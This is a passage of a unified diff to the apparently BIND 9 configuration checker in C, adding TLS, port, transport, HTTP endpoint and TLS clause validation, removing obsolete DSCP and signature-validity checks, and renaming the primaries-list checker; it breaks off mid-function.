+		     element = cfg_list_next(element))
+		{
+			const cfg_obj_t *forwarder = cfg_listelt_value(element);
+			const char *tls = cfg_obj_getsockaddrtls(forwarder);
+			if (tls != NULL) {
+				result = validate_tls(config, faddresses,
+						      logctx, tls);
+				if (result != ISC_R_SUCCESS) {
+					return (result);
+				}
+			}
+		}
+	}
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -322,7 +390,7 @@ disabled_algorithms(const cfg_obj_t *disabled, isc_log_t *logctx) {
 		isc_textregion_t r;
 		dns_secalg_t alg;
 
-		DE_CONST(cfg_obj_asstring(cfg_listelt_value(element)), r.base);
+		r.base = UNCONST(cfg_obj_asstring(cfg_listelt_value(element)));
 		r.length = strlen(r.base);
 
 		tresult = dns_secalg_fromtext(&alg, &r);
@@ -367,7 +435,7 @@ disabled_ds_digests(const cfg_obj_t *disabled, isc_log_t *logctx) {
 		isc_textregion_t r;
 		dns_dsdigest_t digest;
 
-		DE_CONST(cfg_obj_asstring(cfg_listelt_value(element)), r.base);
+		r.base = UNCONST(cfg_obj_asstring(cfg_listelt_value(element)));
 		r.length = strlen(r.base);
 
 		/* works with a numeric argument too */
@@ -475,6 +543,49 @@ checkacl(const char *aclname, cfg_aclconfctx_t *actx, const cfg_obj_t *zconfig,
 	if (acl != NULL) {
 		dns_acl_detach(&acl);
 	}
+
+	if (strcasecmp(aclname, "allow-transfer") == 0 &&
+	    cfg_obj_istuple(aclobj))
+	{
+		const cfg_obj_t *obj_port = cfg_tuple_get(
+			cfg_tuple_get(aclobj, "port-transport"), "port");
+		const cfg_obj_t *obj_proto = cfg_tuple_get(
+			cfg_tuple_get(aclobj, "port-transport"), "transport");
+
+		if (cfg_obj_isuint32(obj_port) &&
+		    cfg_obj_asuint32(obj_port) >= UINT16_MAX)
+		{
+			cfg_obj_log(obj_port, logctx, ISC_LOG_ERROR,
+				    "port value '%u' is out of range",
+
+				    cfg_obj_asuint32(obj_port));
+			if (result == ISC_R_SUCCESS) {
+				result = ISC_R_RANGE;
+			}
+		}
+
+		if (cfg_obj_isstring(obj_proto)) {
+			const char *allowed[] = { "tcp", "tls" };
+			const char *transport = cfg_obj_asstring(obj_proto);
+			bool found = false;
+			for (size_t i = 0; i < ARRAY_SIZE(allowed); i++) {
+				if (strcasecmp(transport, allowed[i]) == 0) {
+					found = true;
+				}
+			}
+
+			if (!found) {
+				cfg_obj_log(obj_proto, logctx, ISC_LOG_ERROR,
+					    "'%s' is not a valid transport "
+					    "protocol for "
+					    "zone "
+					    "transfers. Please specify either "
+					    "'tcp' or 'tls'",
+					    transport);
+				result = ISC_R_FAILURE;
+			}
+		}
+	}
 	return (result);
 }
 
@@ -485,11 +596,9 @@ check_viewacls(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
 	int i = 0;
 
 	static const char *acls[] = {
-		"allow-query",	     "allow-query-on",
-		"allow-query-cache", "allow-query-cache-on",
-		"blackhole",	     "keep-response-order",
-		"match-clients",     "match-destinations",
-		"sortlist",	     NULL
+		"allow-query",		"allow-query-on", "allow-query-cache",
+		"allow-query-cache-on", "blackhole",	  "match-clients",
+		"match-destinations",	"sortlist",	  NULL
 	};
 
 	while (acls[i] != NULL) {
@@ -502,7 +611,14 @@ check_viewacls(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
 	return (result);
 }
 
-static const unsigned char zeros[16];
+static void
+dns64_error(const cfg_obj_t *obj, isc_log_t *logctx, isc_netaddr_t *netaddr,
+	    unsigned int prefixlen, const char *message) {
+	char buf[ISC_NETADDR_FORMATSIZE + 1];
+	isc_netaddr_format(netaddr, buf, sizeof(buf));
+	cfg_obj_log(obj, logctx, ISC_LOG_ERROR, "dns64 prefix %s/%u %s", buf,
+		    prefixlen, message);
+}
 
 static isc_result_t
 check_dns64(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
@@ -541,16 +657,15 @@ check_dns64(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
 
 		cfg_obj_asnetprefix(obj, &na, &prefixlen);
 		if (na.family != AF_INET6) {
-			cfg_obj_log(map, logctx, ISC_LOG_ERROR,
-				    "dns64 requires a IPv6 prefix");
+			dns64_error(map, logctx, &na, prefixlen,
+				    "must be IPv6");
 			result = ISC_R_FAILURE;
 			continue;
 		}
 
 		if (na.type.in6.s6_addr[8] != 0) {
-			cfg_obj_log(map, logctx, ISC_LOG_ERROR,
-				    "invalid prefix, bits [64..71] must be "
-				    "zero");
+			dns64_error(map, logctx, &na, prefixlen,
+				    "bits [64..71] must be zero");
 			result = ISC_R_FAILURE;
 			continue;
 		}
@@ -558,9 +673,8 @@ check_dns64(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
 		if (prefixlen != 32 && prefixlen != 40 && prefixlen != 48 &&
 		    prefixlen != 56 && prefixlen != 64 && prefixlen != 96)
 		{
-			cfg_obj_log(map, logctx, ISC_LOG_ERROR,
-				    "bad prefix length %u [32/40/48/56/64/96]",
-				    prefixlen);
+			dns64_error(map, logctx, &na, prefixlen,
+				    "length is not 32/40/48/56/64/96");
 			result = ISC_R_FAILURE;
 			continue;
 		}
@@ -587,6 +701,7 @@ check_dns64(cfg_aclconfctx_t *actx, const cfg_obj_t *voptions,
 		obj = NULL;
 		(void)cfg_map_get(map, "suffix", &obj);
 		if (obj != NULL) {
+			static const unsigned char zeros[16];
 			isc_netaddr_fromsockaddr(&sa, cfg_obj_assockaddr(obj));
 			if (sa.family != AF_INET6) {
 				cfg_obj_log(map, logctx, ISC_LOG_ERROR,
@@ -856,34 +971,13 @@ typedef enum {
 	optlevel_zone
 } optlevel_t;
 
-static isc_result_t
-check_dscp(const cfg_obj_t *options, isc_log_t *logctx) {
-	isc_result_t result = ISC_R_SUCCESS;
-	const cfg_obj_t *obj = NULL;
-
-	/*
-	 * Check that DSCP setting is within range
-	 */
-	obj = NULL;
-	(void)cfg_map_get(options, "dscp", &obj);
-	if (obj != NULL) {
-		uint32_t dscp = cfg_obj_asuint32(obj);
-		if (dscp >= 64) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "'dscp' out of range (0-63)");
-			result = ISC_R_FAILURE;
-		}
-	}
-
-	return (result);
-}
-
 static isc_result_t
 check_name(const char *str) {
 	dns_fixedname_t fixed;
 
 	dns_fixedname_init(&fixed);
-	return (dns_name_fromstring(dns_fixedname_name(&fixed), str, 0, NULL));
+	return (dns_name_fromstring(dns_fixedname_name(&fixed), str,
+				    dns_rootname, 0, NULL));
 }
 
 static bool
@@ -918,10 +1012,12 @@ find_maplist(const cfg_obj_t *config, const char *listname, const char *name) {
 	}
 
 	for (elt = cfg_list_first(maplist); elt != NULL;
-	     elt = cfg_list_next(elt)) {
+	     elt = cfg_list_next(elt))
+	{
 		const cfg_obj_t *map = cfg_listelt_value(elt);
 		if (strcasecmp(cfg_obj_asstring(cfg_map_getname(map)), name) ==
-		    0) {
+		    0)
+		{
 			return (map);
 		}
 	}
@@ -935,7 +1031,7 @@ check_listener(const cfg_obj_t *listener, const cfg_obj_t *config,
 	isc_result_t tresult, result = ISC_R_SUCCESS;
 	const cfg_obj_t *ltup = NULL;
 	const cfg_obj_t *tlsobj = NULL, *httpobj = NULL;
-	const cfg_obj_t *portobj = NULL, *dscpobj = NULL;
+	const cfg_obj_t *portobj = NULL;
 	const cfg_obj_t *http_server = NULL;
 	bool do_tls = false, no_tls = false;
 	dns_acl_t *acl = NULL;
@@ -990,7 +1086,8 @@ check_listener(const cfg_obj_t *listener, const cfg_obj_t *config,
 
 	portobj = cfg_tuple_get(ltup, "port");
 	if (cfg_obj_isuint32(portobj) &&
-	    cfg_obj_asuint32(portobj) >= UINT16_MAX) {
+	    cfg_obj_asuint32(portobj) >= UINT16_MAX)
+	{
 		cfg_obj_log(portobj, logctx, ISC_LOG_ERROR,
 			    "port value '%u' is out of range",
 
@@ -1000,16 +1097,6 @@ check_listener(const cfg_obj_t *listener, const cfg_obj_t *config,
 		}
 	}
 
-	dscpobj = cfg_tuple_get(ltup, "dscp");
-	if (cfg_obj_isuint32(dscpobj) && cfg_obj_asuint32(dscpobj) > 63) {
-		cfg_obj_log(dscpobj, logctx, ISC_LOG_ERROR,
-			    "dscp value '%u' is out of range",
-			    cfg_obj_asuint32(dscpobj));
-		if (result == ISC_R_SUCCESS) {
-			result = ISC_R_RANGE;
-		}
-	}
-
 	tresult = cfg_acl_fromconfig(cfg_tuple_get(listener, "acl"), config,
 				     logctx, actx, mctx, 0, &acl);
 	if (result == ISC_R_SUCCESS) {
@@ -1041,22 +1128,47 @@ check_listeners(const cfg_obj_t *list, const cfg_obj_t *config,
 	return (result);
 }
 
+static isc_result_t
+check_port(const cfg_obj_t *options, isc_log_t *logctx, const char *type,
+	   in_port_t *portp) {
+	const cfg_obj_t *portobj = NULL;
+	isc_result_t result;
+
+	result = cfg_map_get(options, type, &portobj);
+	if (result != ISC_R_SUCCESS) {
+		return (ISC_R_SUCCESS);
+	}
+
+	if (cfg_obj_asuint32(portobj) >= UINT16_MAX) {
+		cfg_obj_log(portobj, logctx, ISC_LOG_ERROR,
+			    "port '%u' out of range",
+			    cfg_obj_asuint32(portobj));
+		return (ISC_R_RANGE);
+	}
+
+	SET_IF_NOT_NULL(portp, (in_port_t)cfg_obj_asuint32(portobj));
+	return (ISC_R_SUCCESS);
+}
+
 static isc_result_t
 check_options(const cfg_obj_t *options, const cfg_obj_t *config,
-	      isc_log_t *logctx, isc_mem_t *mctx, optlevel_t optlevel) {
+	      bool check_algorithms, isc_log_t *logctx, isc_mem_t *mctx,
+	      optlevel_t optlevel) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
 	unsigned int i;
 	const cfg_obj_t *obj = NULL;
-	const cfg_obj_t *resignobj = NULL;
 	const cfg_listelt_t *element;
 	isc_symtab_t *symtab = NULL;
 	const char *str;
 	isc_buffer_t b;
 	uint32_t lifetime = 3600;
-	bool has_dnssecpolicy = false;
 	const char *ccalg = "siphash24";
 	cfg_aclconfctx_t *actx = NULL;
+	static const char *sources[] = {
+		"query-source",
+		"query-source-v6",
+	};
 
 	/*
 	 * { "name", scale, value }
@@ -1069,7 +1181,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 		{ "max-transfer-idle-out", 60, 28 * 24 * 60 }, /* 28 days */
 		{ "max-transfer-time-in", 60, 28 * 24 * 60 },  /* 28 days */
 		{ "max-transfer-time-out", 60, 28 * 24 * 60 }, /* 28 days */
-		{ "statistics-interval", 60, 28 * 24 * 60 },   /* 28 days */
 
 		/* minimum and maximum cache and negative cache TTLs */
 		{ "min-cache-ttl", 1, MAX_MIN_CACHE_TTL },   /* 90 secs */
@@ -1101,6 +1212,57 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 	};
 #endif /* ifdef HAVE_DNSTAP */
 
+	if (optlevel == optlevel_options) {
+		/*
+		 * Check port values, and record "port" for later use.
+		 */
+		tresult = check_port(options, logctx, "port", &dnsport);
+		if (tresult != ISC_R_SUCCESS) {
+			result = tresult;
+		}
+		tresult = check_port(options, logctx, "tls-port", NULL);
+		if (tresult != ISC_R_SUCCESS) {
+			result = tresult;
+		}
+		tresult = check_port(options, logctx, "http-port", NULL);
+		if (tresult != ISC_R_SUCCESS) {
+			result = tresult;
+		}
+		tresult = check_port(options, logctx, "https-port", NULL);
+		if (tresult != ISC_R_SUCCESS) {
+			result = tresult;
+		}
+	}
+
+	if (optlevel == optlevel_options || optlevel == optlevel_view) {
+		/*
+		 * Warn if query-source or query-source-v6 options specify
+		 * a port, and fail if they specify the DNS port.
+		 */
+		for (i = 0; i < ARRAY_SIZE(sources); i++) {
+			obj = NULL;
+			(void)cfg_map_get(options, sources[i], &obj);
+			if (obj != NULL) {
+				const isc_sockaddr_t *sa =
+					cfg_obj_assockaddr(obj);
+				in_port_t port = isc_sockaddr_getport(sa);
+				if (port == dnsport) {
+					cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+						    "'%s' cannot specify the "
+						    "DNS listener port (%d)",
+						    sources[i], port);
+					result = ISC_R_FAILURE;
+				} else if (port != 0) {
+					cfg_obj_log(obj, logctx,
+						    ISC_LOG_WARNING,
+						    "'%s': specifying a port "
+						    "is not recommended",
+						    sources[i]);
+				}
+			}
+		}
+	}
+
 	/*
 	 * Check that fields specified in units of time other than seconds
 	 * have reasonable values.
@@ -1165,9 +1327,9 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 						continue;
 					}
 
-					ret = cfg_kasp_fromconfig(kconfig, NULL,
-								  mctx, logctx,
-								  &list, &kasp);
+					ret = cfg_kasp_fromconfig(
+						kconfig, NULL, check_algorithms,
+						mctx, logctx, &list, &kasp);
 					if (ret != ISC_R_SUCCESS) {
 						if (result == ISC_R_SUCCESS) {
 							result = ret;
@@ -1181,7 +1343,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 			}
 
 			for (kasp = ISC_LIST_HEAD(list); kasp != NULL;
-			     kasp = kasp_next) {
+			     kasp = kasp_next)
+			{
 				kasp_next = ISC_LIST_NEXT(kasp, link);
 				ISC_LIST_UNLINK(list, kasp, link);
 				dns_kasp_detach(&kasp);
@@ -1204,8 +1367,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 			if (result == ISC_R_SUCCESS) {
 				result = ISC_R_FAILURE;
 			}
-		} else {
-			has_dnssecpolicy = true;
 		}
 	}
 
@@ -1224,73 +1385,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 		}
 	}
 
-	obj = NULL;
-	cfg_map_get(options, "sig-validity-interval", &obj);
-	if (obj != NULL) {
-		uint32_t validity, resign = 0;
-
-		validity = cfg_obj_asuint32(cfg_tuple_get(obj, "validity"));
-		resignobj = cfg_tuple_get(obj, "re-sign");
-		if (!cfg_obj_isvoid(resignobj)) {
-			resign = cfg_obj_asuint32(resignobj);
-		}
-
-		if (validity > 3660 || validity == 0) { /* 10 years */
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "%s '%u' is out of range (1..3660)",
-				    "sig-validity-interval", validity);
-			result = ISC_R_RANGE;
-		}
-
-		if (!cfg_obj_isvoid(resignobj)) {
-			if (resign > 3660 || resign == 0) { /* 10 years */
-				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-					    "%s '%u' is out of range (1..3660)",
-					    "sig-validity-interval (re-sign)",
-					    validity);
-				result = ISC_R_RANGE;
-			} else if ((validity > 7 && validity < resign) ||
-				   (validity <= 7 && validity * 24 < resign))
-			{
-				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-					    "validity interval (%u days) "
-					    "less than re-signing interval "
-					    "(%u %s)",
-					    validity, resign,
-					    (validity > 7) ? "days" : "hours");
-				result = ISC_R_RANGE;
-			}
-		}
-
-		if (has_dnssecpolicy) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "sig-validity-interval: cannot be "
-				    "configured if dnssec-policy is also set");
-			result = ISC_R_FAILURE;
-		}
-	}
-
-	obj = NULL;
-	cfg_map_get(options, "dnskey-sig-validity", &obj);
-	if (obj != NULL) {
-		uint32_t keyvalidity;
-
-		keyvalidity = cfg_obj_asuint32(obj);
-		if (keyvalidity > 3660) { /* 10 years */
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "%s '%u' is out of range (0..3660)",
-				    "dnskey-sig-validity", keyvalidity);
-			result = ISC_R_RANGE;
-		}
-
-		if (has_dnssecpolicy) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnskey-sig-validity: cannot be "
-				    "configured if dnssec-policy is also set");
-			result = ISC_R_FAILURE;
-		}
-	}
-
 	obj = NULL;
 	(void)cfg_map_get(options, "preferred-glue", &obj);
 	if (obj != NULL) {
@@ -1304,28 +1398,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 		}
 	}
 
-	obj = NULL;
-	(void)cfg_map_get(options, "root-delegation-only", &obj);
-	if (obj != NULL) {
-		if (!cfg_obj_isvoid(obj)) {
-			for (element = cfg_list_first(obj); element != NULL;
-			     element = cfg_list_next(element))
-			{
-				const cfg_obj_t *exclude;
-
-				exclude = cfg_listelt_value(element);
-				str = cfg_obj_asstring(exclude);
-				tresult = check_name(str);
-				if (tresult != ISC_R_SUCCESS) {
-					cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-						    "bad domain name '%s'",
-						    str);
-					result = tresult;
-				}
-			}
-		}
-	}
-
 	/*
 	 * Set supported DNSSEC algorithms.
 	 */
@@ -1360,23 +1432,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 		}
 	}
 
-	/*
-	 * Check auto-dnssec at the view/options level
-	 */
-	obj = NULL;
-	(void)cfg_map_get(options, "auto-dnssec", &obj);
-	if (obj != NULL) {
-		const char *arg = cfg_obj_asstring(obj);
-		if (optlevel != optlevel_zone && strcasecmp(arg, "off") != 0) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "auto-dnssec may only be activated at the "
-				    "zone level");
-			if (result == ISC_R_SUCCESS) {
-				result = ISC_R_FAILURE;
-			}
-		}
-	}
-
 	/*
 	 * Check dnssec-must-be-secure.
 	 */
@@ -1387,15 +1442,18 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 					    &symtab);
 		if (tresult != ISC_R_SUCCESS) {
 			result = tresult;
-		}
-		for (element = cfg_list_first(obj); element != NULL;
-		     element = cfg_list_next(element))
-		{
-			obj = cfg_listelt_value(element);
-			tresult = mustbesecure(obj, symtab, logctx, mctx);
-			if (result == ISC_R_SUCCESS && tresult != ISC_R_SUCCESS)
+		} else {
+			for (element = cfg_list_first(obj); element != NULL;
+			     element = cfg_list_next(element))
 			{
-				result = tresult;
+				obj = cfg_listelt_value(element);
+				tresult = mustbesecure(obj, symtab, logctx,
+						       mctx);
+				if (result == ISC_R_SUCCESS &&
+				    tresult != ISC_R_SUCCESS)
+				{
+					result = tresult;
+				}
 			}
 		}
 		if (symtab != NULL) {
@@ -1458,11 +1516,6 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 		}
 	}
 
-	tresult = check_dscp(options, logctx);
-	if (result == ISC_R_SUCCESS && tresult != ISC_R_SUCCESS) {
-		result = tresult;
-	}
-
 	obj = NULL;
 	(void)cfg_map_get(options, "nta-lifetime", &obj);
 	if (obj != NULL) {
@@ -1542,7 +1595,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 
 			usedlength = isc_buffer_usedlength(&b);
 			if (strcasecmp(ccalg, "aes") == 0 &&
-			    usedlength != ISC_AES128_KEYLENGTH) {
+			    usedlength != ISC_AES128_KEYLENGTH)
+			{
 				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 					    "AES cookie-secret must be 128 "
 					    "bits");
@@ -1579,7 +1633,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 			value = cfg_obj_asuint32(obj);
 		}
 		if (value < fstrm[i].min ||
-		    (fstrm[i].max != 0U && value > fstrm[i].max)) {
+		    (fstrm[i].max != 0U && value > fstrm[i].max))
+		{
 			if (fstrm[i].max != 0U) {
 				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 					    "%s '%u' out of range (%u..%u)",
@@ -1636,7 +1691,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 
 			obj2 = cfg_tuple_get(obj, "size");
 			if (obj2 != NULL && !cfg_obj_isvoid(obj2) &&
-			    dmode == dns_dtmode_unix) {
+			    dmode == dns_dtmode_unix)
+			{
 				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 					    "dnstap-output size "
 					    "cannot be set with mode unix");
@@ -1647,7 +1703,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 
 			obj2 = cfg_tuple_get(obj, "versions");
 			if (obj2 != NULL && !cfg_obj_isvoid(obj2) &&
-			    dmode == dns_dtmode_unix) {
+			    dmode == dns_dtmode_unix)
+			{
 				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 					    "dnstap-output versions "
 					    "cannot be set with mode unix");
@@ -1658,7 +1715,8 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 
 			obj2 = cfg_tuple_get(obj, "suffix");
 			if (obj2 != NULL && !cfg_obj_isvoid(obj2) &&
-			    dmode == dns_dtmode_unix) {
+			    dmode == dns_dtmode_unix)
+			{
 				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
 					    "dnstap-output suffix "
 					    "cannot be set with mode unix");
@@ -1841,12 +1899,12 @@ check_options(const cfg_obj_t *options, const cfg_obj_t *config,
 }
 
 /*
- * Check "primaries" style list.
+ * Check "remote-servers" style list.
  */
 static isc_result_t
-bind9_check_primarylist(const cfg_obj_t *cctx, const char *list,
-			isc_log_t *logctx, isc_symtab_t *symtab,
-			isc_mem_t *mctx) {
+check_remoteserverlist(const cfg_obj_t *cctx, const char *list,
+		       isc_log_t *logctx, isc_symtab_t *symtab,
+		       isc_mem_t *mctx) {
 	isc_symvalue_t symvalue;
 	isc_result_t result, tresult;
 	const cfg_obj_t *obj = NULL;
@@ -1883,9 +1941,9 @@ bind9_check_primarylist(const cfg_obj_t *cctx, const char *list,
 				file = "<unknown file>";
 			}
 			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "primaries list '%s' is duplicated: "
+				    "%s list '%s' is duplicated: "
 				    "also defined at %s:%u",
-				    name, file, line);
+				    list, name, file, line);
 			isc_mem_free(mctx, tmp);
 			result = tresult;
 			break;
@@ -1904,8 +1962,7 @@ bind9_check_primarylist(const cfg_obj_t *cctx, const char *list,
  * Check primaries lists for duplicates.
  */
 static isc_result_t
-bind9_check_primarylists(const cfg_obj_t *cctx, isc_log_t *logctx,
-			 isc_mem_t *mctx) {
+check_primarylists(const cfg_obj_t *cctx, isc_log_t *logctx, isc_mem_t *mctx) {
 	isc_result_t result, tresult;
 	isc_symtab_t *symtab = NULL;
 
@@ -1913,13 +1970,34 @@ bind9_check_primarylists(const cfg_obj_t *cctx, isc_log_t *logctx,
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	tresult = bind9_check_primarylist(cctx, "primaries", logctx, symtab,
-					  mctx);
+	tresult = check_remoteserverlist(cctx, "primaries", logctx, symtab,
+					 mctx);
+	if (tresult != ISC_R_SUCCESS) {
+		result = tresult;
+	}
+	tresult = check_remoteserverlist(cctx, "masters", logctx, symtab, mctx);
 	if (tresult != ISC_R_SUCCESS) {
 		result = tresult;
 	}
-	tresult = bind9_check_primarylist(cctx, "masters", logctx, symtab,
-					  mctx);
+	isc_symtab_destroy(&symtab);
+	return (result);
+}
+
+/*
+ * Check parental-agents lists for duplicates.
+ */
+static isc_result_t
+check_parentalagentlists(const cfg_obj_t *cctx, isc_log_t *logctx,
+			 isc_mem_t *mctx) {
+	isc_result_t result, tresult;
+	isc_symtab_t *symtab = NULL;
+
+	result = isc_symtab_create(mctx, 100, freekey, mctx, false, &symtab);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+	tresult = check_remoteserverlist(cctx, "parental-agents", logctx,
+					 symtab, mctx);
 	if (tresult != ISC_R_SUCCESS) {
 		result = tresult;
 	}
@@ -1927,9 +2005,262 @@ bind9_check_primarylists(const cfg_obj_t *cctx, isc_log_t *logctx,
 	return (result);
 }
 
+#if HAVE_LIBNGHTTP2
+static isc_result_t
+check_httpserver(const cfg_obj_t *http, isc_log_t *logctx,
+		 isc_symtab_t *symtab) {
+	isc_result_t result, tresult;
+	const char *name = cfg_obj_asstring(cfg_map_getname(http));
+	const cfg_obj_t *eps = NULL;
+	const cfg_listelt_t *elt = NULL;
+	isc_symvalue_t symvalue;
+
+	if (strcasecmp(name, "default") == 0) {
+		cfg_obj_log(http, logctx, ISC_LOG_ERROR,
+			    "'http' name cannot be '%s' (which is a "
+			    "built-in configuration)",
+			    name);
+		result = ISC_R_FAILURE;
+	} else {
+		/* Check for duplicates */
+		symvalue.as_cpointer = http;
+		result = isc_symtab_define(symtab, name, 1, symvalue,
+					   isc_symexists_reject);
+		if (result == ISC_R_EXISTS) {
+			const char *file = NULL;
+			unsigned int line;
+
+			tresult = isc_symtab_lookup(symtab, name, 1, &symvalue);
+			RUNTIME_CHECK(tresult == ISC_R_SUCCESS);
+
+			line = cfg_obj_line(symvalue.as_cpointer);
+			file = cfg_obj_file(symvalue.as_cpointer);
+			if (file == NULL) {
+				file = "<unknown file>";
+			}
+
+			cfg_obj_log(http, logctx, ISC_LOG_ERROR,
+				    "http '%s' is duplicated: "
+				    "also defined at %s:%u",
+				    name, file, line);
+		}
+	}
+
+	/* Check endpoints are valid */
+	tresult = cfg_map_get(http, "endpoints", &eps);
+	if (tresult == ISC_R_SUCCESS) {
+		for (elt = cfg_list_first(eps); elt != NULL;
+		     elt = cfg_list_next(elt))
+		{
+			const cfg_obj_t *ep = cfg_listelt_value(elt);
+			const char *path = cfg_obj_asstring(ep);
+			if (!isc_nm_http_path_isvalid(path)) {
+				cfg_obj_log(eps, logctx, ISC_LOG_ERROR,
+					    "endpoint '%s' is not a "
+					    "valid absolute HTTP path",
+					    path);
+				if (result == ISC_R_SUCCESS) {
+					result = ISC_R_FAILURE;
+				}
+			}
+		}
+	}
+
+	return (result);
+}
+
+static isc_result_t
+check_httpservers(const cfg_obj_t *config, isc_log_t *logctx, isc_mem_t *mctx) {
+	isc_result_t result, tresult;
+	const cfg_obj_t *obj = NULL;
+	const cfg_listelt_t *elt = NULL;
+	isc_symtab_t *symtab = NULL;
+
+	result = isc_symtab_create(mctx, 100, NULL, NULL, false, &symtab);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = cfg_map_get(config, "http", &obj);
+	if (result != ISC_R_SUCCESS) {
+		result = ISC_R_SUCCESS;
+		goto done;
+	}
+
+	for (elt = cfg_list_first(obj); elt != NULL; elt = cfg_list_next(elt)) {
+		obj = cfg_listelt_value(elt);
+		tresult = check_httpserver(obj, logctx, symtab);
+		if (result == ISC_R_SUCCESS) {
+			result = tresult;
+		}
+	}
+
+done:
+	isc_symtab_destroy(&symtab);
+	return (result);
+}
+#endif /* HAVE_LIBNGHTTP2 */
+
+static isc_result_t
+check_tls_defintion(const cfg_obj_t *tlsobj, const char *name,
+		    isc_log_t *logctx, isc_symtab_t *symtab) {
+	isc_result_t result, tresult;
+	const cfg_obj_t *tls_proto_list = NULL, *tls_key = NULL,
+			*tls_cert = NULL, *tls_ciphers = NULL;
+	uint32_t tls_protos = 0;
+	isc_symvalue_t symvalue;
+
+	if (strcasecmp(name, "ephemeral") == 0 || strcasecmp(name, "none") == 0)
+	{
+		cfg_obj_log(tlsobj, logctx, ISC_LOG_ERROR,
+			    "tls clause name '%s' is reserved for internal use",
+			    name);
+		result = ISC_R_FAILURE;
+	} else {
+		/* Check for duplicates */
+		symvalue.as_cpointer = tlsobj;
+		result = isc_symtab_define(symtab, name, 1, symvalue,
+					   isc_symexists_reject);
+		if (result == ISC_R_EXISTS) {
+			const char *file = NULL;
+			unsigned int line;
+
+			tresult = isc_symtab_lookup(symtab, name, 1, &symvalue);
+			RUNTIME_CHECK(tresult == ISC_R_SUCCESS);
+
+			line = cfg_obj_line(symvalue.as_cpointer);
+			file = cfg_obj_file(symvalue.as_cpointer);
+			if (file == NULL) {
+				file = "<unknown file>";
+			}
+
+			cfg_obj_log(tlsobj, logctx, ISC_LOG_ERROR,
+				    "tls clause '%s' is duplicated: "
+				    "also defined at %s:%u",
+				    name, file, line);
+		}
+	}
+
+	(void)cfg_map_get(tlsobj, "key-file", &tls_key);
+	(void)cfg_map_get(tlsobj, "cert-file", &tls_cert);
+	if ((tls_key == NULL && tls_cert != NULL) ||
+	    (tls_cert == NULL && tls_key != NULL))
+	{
+		cfg_obj_log(tlsobj, logctx, ISC_LOG_ERROR,
+			    "tls '%s': 'cert-file' and 'key-file' must "
+			    "both be specified, or both omitted",
+			    name);
+		result = ISC_R_FAILURE;
+	}
+
+	/* Check protocols are valid */
+	tresult = cfg_map_get(tlsobj, "protocols", &tls_proto_list);
+	if (tresult == ISC_R_SUCCESS) {
+		const cfg_listelt_t *proto = NULL;
+		INSIST(tls_proto_list != NULL);
+		for (proto = cfg_list_first(tls_proto_list); proto != 0;
+		     proto = cfg_list_next(proto))
+		{
+			const cfg_obj_t *tls_proto_obj =
+				cfg_listelt_value(proto);
+			const char *tls_sver = cfg_obj_asstring(tls_proto_obj);
+			const isc_tls_protocol_version_t ver =
+				isc_tls_protocol_name_to_version(tls_sver);
+
+			if (ver == ISC_TLS_PROTO_VER_UNDEFINED) {
+				cfg_obj_log(tls_proto_obj, logctx,
+					    ISC_LOG_ERROR,
+					    "'%s' is not a valid "
+					    "TLS protocol version",
+					    tls_sver);
+				result = ISC_R_FAILURE;
+				continue;
+			} else if (!isc_tls_protocol_supported(ver)) {
+				cfg_obj_log(tls_proto_obj, logctx,
+					    ISC_LOG_ERROR,
+					    "'%s' is not "
+					    "supported by the "
+					    "cryptographic library version in "
+					    "use (%s)",
+					    tls_sver, OPENSSL_VERSION_TEXT);
+				result = ISC_R_FAILURE;
+			}
+
+			if ((tls_protos & ver) != 0) {
+				cfg_obj_log(tls_proto_obj, logctx,
+					    ISC_LOG_WARNING,
+					    "'%s' is specified more than once "
+					    "in '%s'",
+					    tls_sver, name);
+				result = ISC_R_FAILURE;
+			}
+
+			tls_protos |= ver;
+		}
+
+		if (tls_protos == 0) {
+			cfg_obj_log(tlsobj, logctx, ISC_LOG_ERROR,
+				    "tls '%s' does not contain any valid "
+				    "TLS protocol versions definitions",
+				    name);
+			result = ISC_R_FAILURE;
+		}
+	}
+
+	/* Check cipher list string is valid */
+	tresult = cfg_map_get(tlsobj, "ciphers", &tls_ciphers);
